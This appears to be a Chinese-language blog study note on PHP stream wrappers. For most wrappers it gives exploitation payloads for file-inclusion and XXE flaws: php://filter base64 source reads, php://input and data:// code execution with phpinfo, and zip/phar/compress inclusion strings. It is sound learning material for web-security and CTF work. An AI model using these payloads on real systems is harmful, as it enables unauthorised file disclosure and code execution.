PHP伪协议

感觉自己对于伪协议还是一知半解 只会一些最常规的 所以学习一下

1
2
3
4
5
6
7
8
9
10
11
12
13
PHP支持的所有伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

下面是一张速查表

mark

file://

mark

利用

利用该协议可以访问本地文件系统,从而可能读取到敏感文件。

可以直接利用 file:// 读取文件 也可以配合其他方法使用 如XXE

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://TEST.txt">]>
<root>&file;</root>

http://

mark

ftp://

mark

php://

mark

php://stdin, php://stdout 和 php://stderr

php://stdinphp://stdoutphp://stderr 允许直接访问 PHP 进程相应的输入或者输出流。

php://input

php://input 是个可以访问请求的原始数据的只读流,可以读到POST请求的内容,但是在enctype=”multipart/form-data” 的时候 php://input 是无效的。

利用

allow_url_include = On 的情况下可以代码执行

1
2
url:  http://localhost:8080/index.php?file=php://input
post: <? phpinfo() ?>

php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://fd

php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。

php://memory 和 php://temp

php://memoryphp://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。可用过滤器列表

mark

利用

最常见的利用莫过下面这个payload 可以返回base64加密后的结果

1
php://filter/read=convert.base64-encode/resource=upload.php

有些时候我们也可以构造如下的payload用于特殊情况的绕过

1
php://filter/read=convert.base64-encode/resource=1.jpg/resource=upload.php

zlib://

zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 自 PHP 4.3.0 后这个不建议被使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 作为替代。

mark

利用

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

通常配合文件上传联合利用。

1
2
3
4
5
-- 以下payload的文件后缀名不一定要是 .gz .bz2 .zip .jpg之类的同样可以
?file=compress.zlib://file.gz
?file=compress.bzip2://file.bz2
?file=zip://archive.zip#dir/file.txt
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

data://

这里官方文档错了 data:// 要满足双on才能使用

mark

利用

1
2
3
4
5
?file=data://text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data://image/jpeg;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

glob://

mark

利用

比较多的是配合 DirectoryIterator

1
2
3
4
5
6
7
8
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

phar://

mark

利用

zip:// 协议差不多

1
?file=phar://php.zip/php.jpg /*用/分隔而不是#*/

ssh2://

除了支持传统的 URI 登录信息,ssh2 封装协议也支持通过 URL 的主机(host)部分来复用打开连接。

mark

mark

rar://

rar:// 可以打开rar压缩包 但是rar扩展默认是不启用的

用法 rar://<url encoded archive name>[*][#[<url encoded entry name>]]

mark

mark

ogg://

1
2
3
4
-- 用法
ogg://soundfile.ogg
ogg:///path/to/soundfile.ogg
ogg://http://www.example.com/path/to/soundstream.ogg

mark

mark

expect://

expect:// 封装协议打开的数据流 PTY 通过提供了对进程 stdio、stdout 和 stderr 的访问。

用法 expect://command

mark